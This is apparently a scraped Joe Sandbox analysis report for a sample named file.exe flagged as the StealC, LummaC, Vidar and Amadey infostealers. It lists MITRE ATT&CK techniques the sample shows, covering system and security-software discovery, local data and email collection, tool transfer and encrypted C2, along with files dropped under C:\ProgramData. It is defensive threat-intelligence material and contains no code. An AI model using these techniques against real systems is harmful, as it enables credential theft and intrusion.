Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGIJJKKJJDAAAAAKFHJJDGDAFB

C:\ProgramData\FCAAEBFH

C:\ProgramData\FHCAFIDB

C:\ProgramData\FHCBGIIJKEBFCBGDBAEBGCFIEH

C:\ProgramData\JJJECFIECBGDGCAAAEHI

C:\ProgramData\JJJKFBAAAFHJEBFIEGID

C:\ProgramData\KJEHDHIEGIIIDHIDHDHJ

C:\ProgramData\chrome.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre